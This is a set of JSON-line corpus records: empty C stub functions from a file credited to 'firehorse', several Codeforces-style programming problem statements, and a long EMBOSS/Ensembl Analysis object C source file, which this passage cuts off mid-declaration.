{"text": "/*\nfirehorse\nby Roee Hay & Noam Hadad, Aleph Research\n*/\n\n#include \"fh.h\"\n\nvoid null_snprintf(char *buf, int size, char *fmt, ...)\n{\n}\n\nvoid null_uartB(char *buf)\n{\n}\n\nvoid null_dprintf(char *fmt, ...)\n{\n}", "source": "cpt_stack_code", "language": "code", "token_count": 74, "token_count_with_eod": 75, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Oleg the bank client and Igor the analyst are arguing again. This time, they want to pick a gift as a present for their friend, ZS the coder. After a long thought, they decided that their friend loves to eat carrots the most and thus they want to pick the best carrot as their present.\n\nThere are n carrots arranged in a line. The i-th carrot from the left has juiciness ai. Oleg thinks ZS loves juicy carrots whereas Igor thinks that he hates juicy carrots. Thus, Oleg would like to maximize the juiciness of the carrot they choose while Igor would like to minimize the juiciness of the carrot they choose.\n\nTo settle this issue, they decided to play a game again. Oleg and Igor take turns to play the game. In each turn, a player can choose a carrot from either end of the line, and eat it. The game ends when only one carrot remains. Oleg moves first. The last remaining carrot will be the carrot that they will give their friend, ZS.\n\nOleg is a sneaky bank client. When Igor goes to a restroom, he performs k moves before the start of the game. Each move is the same as above (eat a carrot from either end of the line). After Igor returns, they start the game with Oleg still going first.\n\nOleg wonders: for each k such that 0 ≤ k ≤ n - 1, what is the juiciness of the carrot they will give to ZS if he makes k extra moves beforehand and both players play optimally?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Calvin the robot lies in an infinite rectangular grid. Calvin's source code contains a list of n commands, each either 'U', 'R', 'D', or 'L' — instructions to move a single square up, right, down, or left, respectively. How many ways can Calvin execute a non-empty contiguous substrings of commands and return to the same square he starts in? Two substrings are considered different if they have different starting or ending indices.", "source": "cpt_codeforces", "language": "en", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a weighed undirected connected graph, consisting of $$$n$$$ vertices and $$$m$$$ edges.\n\nYou should answer $$$q$$$ queries, the $$$i$$$-th query is to find the shortest distance between vertices $$$u_i$$$ and $$$v_i$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 56, "token_count_with_eod": 57, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Recently, Polycarp completed $$$n$$$ successive tasks.\n\nFor each completed task, the time $$$s_i$$$ is known when it was given, no two tasks were given at the same time. Also given is the time $$$f_i$$$ when the task was completed. For each task, there is an unknown value $$$d_i$$$ ($$$d_i>0$$$) — duration of task execution.\n\nIt is known that the tasks were completed in the order in which they came. Polycarp performed the tasks as follows:\n\n- As soon as the very first task came, Polycarp immediately began to carry it out.\n- If a new task arrived before Polycarp finished the previous one, he put the new task at the end of the queue.\n- When Polycarp finished executing the next task and the queue was not empty, he immediately took a new task from the head of the queue (if the queue is empty — he just waited for the next task).\n\nFind $$$d_i$$$ (duration) of each task.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The chef has cooked $$$n$$$ dishes yet again: the $$$i$$$-th dish consists of $$$a_i$$$ grams of fish and $$$b_i$$$ grams of meat.\n\nBanquet organizers consider two dishes $$$i$$$ and $$$j$$$ equal if $$$a_i=a_j$$$ and $$$b_i=b_j$$$ at the same time.\n\nThe banquet organizers estimate the variety of $$$n$$$ dishes as follows. The variety of a set of dishes is equal to the number of different dishes in it. The less variety is, the better.\n\nIn order to reduce the variety, a taster was invited. He will eat exactly $$$m_i$$$ grams of food from each dish. For each dish, the taster determines separately how much fish and how much meat he will eat. The only condition is that he will eat exactly $$$m_i$$$ grams of the $$$i$$$-th dish in total.\n\nDetermine how much of what type of food the taster should eat from each dish so that the value of variety is the minimum possible. If there are several correct answers, you may output any of them.", "source": "cpt_codeforces", "language": "en", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/* @source ensanalysis ********************************************************\n**\n** Ensembl Analysis functions\n**\n** @author Copyright (C) 1999 Ensembl Developers\n** @author Copyright (C) 2006 Michael K. Schuster\n** @version $Revision: 1.59 $\n** @modified 2009 by Alan Bleasby for incorporation into EMBOSS core\n** @modified $Date: 2013/02/17 13:02:10 $ by $Author: mks $\n** @@\n**\n** This library is free software; you can redistribute it and/or\n** modify it under the terms of the GNU Lesser General Public\n** License as published by the Free Software Foundation; either\n** version 2.1 of the License, or (at your option) any later version.\n**\n** This library is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n** Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public\n** License along with this library; if not, write to the Free Software\n** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n** MA  02110-1301,  USA.\n**\n******************************************************************************/\n\n/* ========================================================================= */\n/* ============================= include files ============================= */\n/* ========================================================================= */\n\n#include \"ensanalysis.h\"\n#include \"enstable.h\"\n\n\n\n\n/* ========================================================================= */\n/* =============================== constants =============================== */\n/* ========================================================================= */\n\n\n\n\n/* ========================================================================= */\n/* =========================== global variables ============================ */\n/* ========================================================================= */\n\n\n\n\n/* ========================================================================= */\n/* ============================= private data ============================== */\n/* ========================================================================= */\n\n\n\n\n/* ========================================================================= */\n/* =========================== private constants =========================== */\n/* ========================================================================= */\n\n/* @conststatic analysisadaptorKTablenames ************************************\n**\n** Array of Ensembl Analysis Adaptor SQL table names\n**\n******************************************************************************/\n\nstatic const char *const analysisadaptorKTablenames[] =\n{\n    \"analysis\",\n    \"analysis_description\",\n    (const char *) NULL\n};\n\n\n\n\n/* @conststatic analysisadaptorKColumnnames ***********************************\n**\n** Array of Ensembl Analysis Adaptor SQL column names\n**\n******************************************************************************/\n\nstatic const char *const analysisadaptorKColumnnames[] =\n{\n    \"analysis.analysis_id\",\n    \"analysis.created\",\n    \"analysis.logic_name\",\n    \"analysis.db\",\n    \"analysis.db_version\",\n    \"analysis.db_file\",\n    \"analysis.program\",\n    \"analysis.program_version\",\n    \"analysis.program_file\",\n    \"analysis.parameters\",\n    \"analysis.module\",\n    \"analysis.module_version\",\n    \"analysis.gff_source\",\n    \"analysis.gff_feature\",\n    \"analysis_description.description\",\n    \"analysis_description.display_label\",\n    \"analysis_description.displayable\",\n    \"analysis_description.web_data\",\n    (const char *) NULL\n};\n\n\n\n\n/* @conststatic analysisadaptorKLeftjoins *************************************\n**\n** Array of Ensembl Analysis Adaptor SQL LEFT JOIN conditions\n**\n******************************************************************************/\n\nstatic const EnsOBaseadaptorLeftjoin analysisadaptorKLeftjoins[] =\n{\n    {\n        \"analysis_description\",\n        \"analysis.analysis_id = analysis_description.analysis_id\"\n    },\n    {(const char *) NULL, (const char *) NULL}\n};\n\n\n\n\n/* @conststatic analysisadaptorKFeatureClasses ********************************\n**\n** Correlation of Ensembl data object types and SQL table names\n**\n******************************************************************************/\n\nstatic const char *const analysisadaptorKFeatureClasses[] =\n{\n    \"AffyFeature\", \"affy_feature\",\n    \"Densityfeature\", \"density_type\", /* density_type.analysis_id */\n    \"Dnaalignfeature\", \"dna_align_feature\",\n    \"Gene\", \"gene\",\n    \"Markerfeature\", \"marker_feature\",\n    \"Predictiontranscript\", \"prediction_transcript\",\n    \"OligoFeature\", \"oligo_feature\",\n    \"Proteinalignfeature\", \"protein_align_feature\",\n    \"Proteinfeature\", \"protein_feature\",\n    \"QtlFeature\", \"qtl_feature\",\n    \"Repeatfeature\", \"repeat_feature\",\n    \"Simplefeature\", \"simple_feature\",\n    (const char *) NULL, (const char *) NULL\n};\n\n\n\n\n/* ========================================================================= */\n/* =========================== private variables =========================== */\n/* ========================================================================= */\n\n\n\n\n/* ========================================================================= */\n/* =========================== private functions =========================== */\n/* ========================================================================= */\n\nstatic int listAnalysisCompareIdentifierAscending(\n    const void *item1,\n    const void *item2);\n\nstatic int listAnalysisCompareIdentifierDescending(\n    const void *item1,\n    const void *item2);\n\nstatic int listAnalysisCompareNameAscending(\n    const void *item1,\n    const void *item2);\n\nstatic int listAnalysisCompareNameDescending(\n    const void *item1,\n    const void *item2);\n\nstatic AjBool analysisadaptorFetchAllbyStatement(\n    EnsPBaseadaptor ba,\n    const AjPStr statement,\n    EnsPAssemblymapper am,\n    EnsPSlice slice,\n    AjPList analyses);\n\nstatic AjBool analysisadaptorCacheInit(\n    EnsPAnalysisadaptor aa);\n\nstatic AjBool analysisadaptorCacheInsert(\n    EnsPAnalysisadaptor aa,\n    EnsPAnalysis *Panalysis);\n\nstatic void analysisadaptorFetchAll(const void *key,\n                                    void **Pvalue,\n                                    void *cl);\n\n\n\n\n/* ========================================================================= */\n/* ======================= All functions by section ======================== */\n/* ========================================================================= */\n\n\n\n\n/* @filesection ensanalysis ***************************************************\n**\n** @nam1rule ens Function belongs to the Ensembl library\n**\n******************************************************************************/\n\n\n\n\n/* @datasection [EnsPAnalysis] Ensembl Analysis *******************************\n**\n** @nam2rule Analysis Functions for manipulating Ensembl Analysis objects\n**\n** @cc Bio::EnsEMBL::Analysis\n** @cc CVS Revision: 1.33\n** @cc CVS Tag: branch-ensembl-68\n**\n******************************************************************************/\n\n\n\n\n/* @section constructors ******************************************************\n**\n** All constructors return a new Ensembl Analysis by pointer.\n** It is the responsibility of the user to first destroy any previous\n** Ensembl Analysis.\n** The target pointer does not need to be initialised to NULL, but it is good\n** programming practice to do so anyway.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule New Constructor\n** @nam4rule Cpy Constructor with existing object\n** @nam4rule Ini Constructor with initial values\n** @nam4rule Ref Constructor by incrementing the reference counter\n**\n** @argrule Cpy analysis [const EnsPAnalysis] Ensembl Analysis\n** @argrule Ini aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @argrule Ini identifier [ajuint] SQL database-internal identifier\n** @argrule Ini cdate [AjPStr] Creation date\n** @argrule Ini name [AjPStr] Name\n** @argrule Ini databasename [AjPStr] Database name\n** @argrule Ini databaseversion [AjPStr] Database version\n** @argrule Ini databasefile [AjPStr] Database file\n** @argrule Ini programname [AjPStr] Program name\n** @argrule Ini programversion [AjPStr] Program version\n** @argrule Ini programfile [AjPStr] Program file\n** @argrule Ini parameters [AjPStr] Parameters\n** @argrule Ini modulename [AjPStr] Module name\n** @argrule Ini moduleversion [AjPStr] Module version\n** @argrule Ini gffsource [AjPStr] GFF source\n** @argrule Ini gfffeature [AjPStr] GFF feature\n** @argrule Ini description [AjPStr] Description\n** @argrule Ini displaylabel [AjPStr] Display label\n** @argrule Ini webdata [AjPStr] Web data\n** @argrule Ini displayable [AjBool] Displayable flag\n** @argrule Ref analysis [EnsPAnalysis] Ensembl Analysis\n**\n** @valrule * [EnsPAnalysis] Ensembl Analysis or NULL\n**\n** @fcategory new\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisNewCpy ****************************************************\n**\n** Object-based constructor function, which returns an independent object.\n**\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [EnsPAnalysis] Ensembl Analysis or NULL\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nEnsPAnalysis ensAnalysisNewCpy(const EnsPAnalysis analysis)\n{\n    EnsPAnalysis pthis = NULL;\n\n    if (!analysis)\n        return NULL;\n\n    AJNEW0(pthis);\n\n    pthis->Use = 1U;\n\n    pthis->Identifier = analysis->Identifier;\n\n    pthis->Adaptor = analysis->Adaptor;\n\n    if (analysis->DateCreation)\n        pthis->DateCreation = ajStrNewRef(analysis->DateCreation);\n\n    if (analysis->Name)\n        pthis->Name = ajStrNewRef(analysis->Name);\n\n    if (analysis->Databasename)\n        pthis->Databasename = ajStrNewRef(analysis->Databasename);\n\n    if (analysis->Databaseversion)\n        pthis->Databaseversion = ajStrNewRef(analysis->Databaseversion);\n\n    if (analysis->Databasefile)\n        pthis->Databasefile = ajStrNewRef(analysis->Databasefile);\n\n    if (analysis->Programname)\n        pthis->Programname = ajStrNewRef(analysis->Programname);\n\n    if (analysis->Programversion)\n        pthis->Programversion = ajStrNewRef(analysis->Programversion);\n\n    if (analysis->Programfile)\n        pthis->Programfile = ajStrNewRef(analysis->Programfile);\n\n    if (analysis->Parameters)\n        pthis->Parameters = ajStrNewRef(analysis->Parameters);\n\n    if (analysis->Modulename)\n        pthis->Modulename = ajStrNewRef(analysis->Modulename);\n\n    if (analysis->Moduleversion)\n        pthis->Moduleversion = ajStrNewRef(analysis->Moduleversion);\n\n    if (analysis->Gffsource)\n        pthis->Gffsource = ajStrNewRef(analysis->Gffsource);\n\n    if (analysis->Gfffeature)\n        pthis->Gfffeature = ajStrNewRef(analysis->Gfffeature);\n\n    if (analysis->Description)\n        pthis->Description = ajStrNewRef(analysis->Description);\n\n    if (analysis->Displaylabel)\n        pthis->Displaylabel = ajStrNewRef(analysis->Displaylabel);\n\n    if (analysis->Webdata)\n        pthis->Webdata = ajStrNewRef(analysis->Webdata);\n\n    pthis->Displayable = analysis->Displayable;\n\n    return pthis;\n}\n\n\n\n\n/* @func ensAnalysisNewIni ****************************************************\n**\n** Constructor for an Ensembl Analysis object with initial values.\n**\n** @cc Bio::EnsEMBL::Storable::new\n** @param [u] aa [EnsPAnalysisadaptor] Ensembl Analysis Adaptor\n** @param [r] identifier [ajuint] SQL database-internal identifier\n** @cc Bio::EnsEMBL::Analysis::new\n** @param [u] cdate [AjPStr] Creation date\n** @param [u] name [AjPStr] Name\n** @param [u] databasename [AjPStr] Database name\n** @param [u] databaseversion [AjPStr] Database version\n** @param [u] databasefile [AjPStr] Database file\n** @param [u] programname [AjPStr] Program name\n** @param [u] programversion [AjPStr] Program version\n** @param [u] programfile [AjPStr] Program file\n** @param [u] parameters [AjPStr] Parameters\n** @param [u] modulename [AjPStr] Module name\n** @param [u] moduleversion [AjPStr] Module version\n** @param [u] gffsource [AjPStr] GFF source\n** @param [u] gfffeature [AjPStr] GFF feature\n** @param [u] description [AjPStr] Description\n** @param [u] displaylabel [AjPStr] Display label\n** @param [u] webdata [AjPStr] Web data\n** @param [r] displayable [AjBool] Displayable flag\n**\n** @return [EnsPAnalysis] Ensembl Analysis or NULL\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nEnsPAnalysis ensAnalysisNewIni(EnsPAnalysisadaptor aa,\n                               ajuint identifier,\n                               AjPStr cdate,\n                               AjPStr name,\n                               AjPStr databasename,\n                               AjPStr databaseversion,\n                               AjPStr databasefile,\n                               AjPStr programname,\n                               AjPStr programversion,\n                               AjPStr programfile,\n                               AjPStr parameters,\n                               AjPStr modulename,\n                               AjPStr moduleversion,\n                               AjPStr gffsource,\n                               AjPStr gfffeature,\n                               AjPStr description,\n                               AjPStr displaylabel,\n                               AjPStr webdata,\n                               AjBool displayable)\n{\n    EnsPAnalysis analysis = NULL;\n\n    if (!name)\n        return NULL;\n\n    AJNEW0(analysis);\n\n    analysis->Use = 1U;\n\n    analysis->Identifier = identifier;\n\n    analysis->Adaptor = aa;\n\n    if (cdate)\n        analysis->DateCreation = ajStrNewRef(cdate);\n\n    if (name)\n        analysis->Name = ajStrNewRef(name);\n\n    if (databasename)\n        analysis->Databasename = ajStrNewRef(databasename);\n\n    if (databaseversion)\n        analysis->Databaseversion = ajStrNewRef(databaseversion);\n\n    if (databasefile)\n        analysis->Databasefile = ajStrNewRef(databasefile);\n\n    if (programname)\n        analysis->Programname = ajStrNewRef(programname);\n\n    if (programversion)\n        analysis->Programversion = ajStrNewRef(programversion);\n\n    if (programfile)\n        analysis->Programfile = ajStrNewRef(programfile);\n\n    if (parameters)\n        analysis->Parameters = ajStrNewRef(parameters);\n\n    if (modulename)\n        analysis->Modulename = ajStrNewRef(modulename);\n\n    if (moduleversion)\n        analysis->Moduleversion = ajStrNewRef(moduleversion);\n\n    if (gffsource)\n        analysis->Gffsource = ajStrNewRef(gffsource);\n\n    if (gfffeature)\n        analysis->Gfffeature = ajStrNewRef(gfffeature);\n\n    if (description)\n        analysis->Description = ajStrNewRef(description);\n\n    if (displaylabel)\n        analysis->Displaylabel = ajStrNewRef(displaylabel);\n\n    analysis->Displayable = displayable;\n\n    if (webdata)\n        analysis->Webdata = ajStrNewRef(webdata);\n\n    return analysis;\n}\n\n\n\n\n/* @func ensAnalysisNewRef ****************************************************\n**\n** Ensembl Object referencing function, which returns a pointer to the\n** Ensembl Object passed in and increases its reference count.\n**\n** @param [u] analysis [EnsPAnalysis] Ensembl Analysis\n**\n** @return [EnsPAnalysis] Ensembl Analysis or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nEnsPAnalysis ensAnalysisNewRef(EnsPAnalysis analysis)\n{\n    if (!analysis)\n        return NULL;\n\n    analysis->Use++;\n\n    return analysis;\n}\n\n\n\n\n/* @section destructors *******************************************************\n**\n** Destruction destroys all internal data structures and frees the memory\n** allocated for an Ensembl Analysis object.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Del Destroy (free) an Ensembl Analysis\n**\n** @argrule * Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @valrule * [void]\n**\n** @fcategory delete\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisDel *******************************************************\n**\n** Default destructor for an Ensembl Analysis.\n**\n** @param [d] Panalysis [EnsPAnalysis*] Ensembl Analysis address\n**\n** @return [void]\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nvoid ensAnalysisDel(EnsPAnalysis *Panalysis)\n{\n    EnsPAnalysis pthis = NULL;\n\n    if (!Panalysis)\n        return;\n\n#if defined(AJ_DEBUG) && AJ_DEBUG >= 1\n    if (ajDebugTest(\"ensAnalysisDel\"))\n    {\n        ajDebug(\"ensAnalysisDel\\n\"\n                \"  *Panalysis %p\\n\",\n                *Panalysis);\n\n        ensAnalysisTrace(*Panalysis, 1);\n    }\n#endif /* defined(AJ_DEBUG) && AJ_DEBUG >= 1 */\n\n    if (!(pthis = *Panalysis) || --pthis->Use)\n    {\n        *Panalysis = NULL;\n\n        return;\n    }\n\n    ajStrDel(&pthis->DateCreation);\n    ajStrDel(&pthis->Name);\n    ajStrDel(&pthis->Databasename);\n    ajStrDel(&pthis->Databaseversion);\n    ajStrDel(&pthis->Databasefile);\n    ajStrDel(&pthis->Programname);\n    ajStrDel(&pthis->Programversion);\n    ajStrDel(&pthis->Programfile);\n    ajStrDel(&pthis->Parameters);\n    ajStrDel(&pthis->Modulename);\n    ajStrDel(&pthis->Moduleversion);\n    ajStrDel(&pthis->Gffsource);\n    ajStrDel(&pthis->Gfffeature);\n    ajStrDel(&pthis->Description);\n    ajStrDel(&pthis->Displaylabel);\n    ajStrDel(&pthis->Webdata);\n\n    ajMemFree((void **) Panalysis);\n\n    return;\n}\n\n\n\n\n/* @section member retrieval **************************************************\n**\n** Functions for returning members of an Ensembl Analysis object.\n**\n** @fdata [EnsPAnalysis]\n**\n** @nam3rule Get Return Ensembl Analysis attribute(s)\n** @nam4rule Adaptor Return the Ensembl Analysis Adaptor\n** @nam4rule Databasefile Return the database file\n** @nam4rule Databasename Return the database name\n** @nam4rule Databaseversion Return the database version\n** @nam4rule Date Return a date\n** @nam5rule Creation Return the date of creation\n** @nam4rule Description Return the description\n** @nam4rule Displayable Return the displayable flag\n** @nam4rule Displaylabel Return the display label\n** @nam4rule Gfffeature Return the GFF feature\n** @nam4rule Gffsource Return the GFF source\n** @nam4rule Identifier Return the SQL database-internal identifier\n** @nam4rule Modulename Return the module name\n** @nam4rule Moduleversion Return the module version\n** @nam4rule Name Return the name\n** @nam4rule Parameters Return the parameters\n** @nam4rule Programfile Return the program file\n** @nam4rule Programname Return the program name\n** @nam4rule Programversion Return the program version\n** @nam4rule Webdata Return the web data\n**\n** @argrule * analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @valrule Adaptor [EnsPAnalysisadaptor] Ensembl Analysis Adaptor or NULL\n** @valrule Databasefile [AjPStr] Database file or NULL\n** @valrule Databasename [AjPStr] Database name or NULL\n** @valrule Databaseversion [AjPStr] Database version or NULL\n** @valrule DateCreation [AjPStr] Creation date or NULL\n** @valrule Description [AjPStr] Description or NULL\n** @valrule Displayable [AjBool] Displayable flag or ajFalse\n** @valrule Displaylabel [AjPStr] Display label or NULL\n** @valrule Gfffeature [AjPStr] GFF feature or NULL\n** @valrule Gffsource [AjPStr] GFF source or NULL\n** @valrule Identifier [ajuint] SQL database-internal identifier or 0U\n** @valrule Modulename [AjPStr] Module name or NULL\n** @valrule Moduleversion [AjPStr] Module version or NULL\n** @valrule Name [AjPStr] Name or NULL\n** @valrule Parameters [AjPStr] Parameters or NULL\n** @valrule Programfile [AjPStr] Program file or NULL\n** @valrule Programname [AjPStr] Program name or NULL\n** @valrule Programversion [AjPStr] Program version or NULL\n** @valrule Webdata [AjPStr] Web data or NULL\n**\n** @fcategory use\n******************************************************************************/\n\n\n\n\n/* @func ensAnalysisGetAdaptor ************************************************\n**\n** Get the Ensembl Analysis Adaptor member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Storable::adaptor\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [EnsPAnalysisadaptor] Ensembl Analysis Adaptor or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nEnsPAnalysisadaptor ensAnalysisGetAdaptor(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Adaptor : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDatabasefile *******************************************\n**\n** Get the database file member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db_file\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Database file or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDatabasefile(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Databasefile : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDatabasename *******************************************\n**\n** Get the database name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Database name or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDatabasename(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Databasename : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDatabaseversion ****************************************\n**\n** Get the database version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::db_version\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Database version or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDatabaseversion(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Databaseversion : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDateCreation *******************************************\n**\n** Get the date of creation member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::created\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Creation date or NULL\n**\n** @release 6.4.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDateCreation(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->DateCreation : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDescription ********************************************\n**\n** Get the description member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::description\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Description or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDescription(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Description : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetDisplayable ********************************************\n**\n** Get the displayable member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::displayable\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjBool] Displayable flag or ajFalse\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjBool ensAnalysisGetDisplayable(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Displayable : ajFalse;\n}\n\n\n\n\n/* @func ensAnalysisGetDisplaylabel *******************************************\n**\n** Get the display label member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::display_label\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Display label or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetDisplaylabel(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Displaylabel : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetGfffeature *********************************************\n**\n** Get the GFF feature member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::gff_feature\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] GFF feature or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetGfffeature(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Gfffeature : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetGffsource **********************************************\n**\n** Get the GFF source member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::gff_source\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] GFF source or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetGffsource(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Gffsource : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetIdentifier *********************************************\n**\n** Get the SQL database-internal identifier member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Storable::dbID\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [ajuint] SQL database-internal identifier or 0U\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\najuint ensAnalysisGetIdentifier(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Identifier : 0U;\n}\n\n\n\n\n/* @func ensAnalysisGetModulename *********************************************\n**\n** Get the module name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::module\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Module name or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetModulename(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Modulename : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetModuleversion ******************************************\n**\n** Get the module version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::module_version\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Module version or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetModuleversion(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Moduleversion : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetName ***************************************************\n**\n** Get the name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::logic_name\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Name or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetName(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Name : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetParameters *********************************************\n**\n** Get the parameters member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::parameters\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Parameters or NULL\n**\n** @release 6.2.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetParameters(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Parameters : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetProgramfile ********************************************\n**\n** Get the program file member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program_file\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Program file or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetProgramfile(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Programfile : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetProgramname ********************************************\n**\n** Get the program name member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Program name or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetProgramname(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Programname : NULL;\n}\n\n\n\n\n/* @func ensAnalysisGetProgramversion *****************************************\n**\n** Get the program version member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::program_version\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Program version or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr ensAnalysisGetProgramversion(const EnsPAnalysis analysis)\n{\n    return (analysis) ? analysis->Programversion : NULL;\n}\n\n\n\n\n\n/* @func ensAnalysisGetWebdata ************************************************\n**\n** Get the web data member of an Ensembl Analysis.\n**\n** @cc Bio::EnsEMBL::Analysis::web_data\n** @param [r] analysis [const EnsPAnalysis] Ensembl Analysis\n**\n** @return [AjPStr] Web data or NULL\n**\n** @release 6.3.0\n** @@\n******************************************************************************/\n\nAjPStr 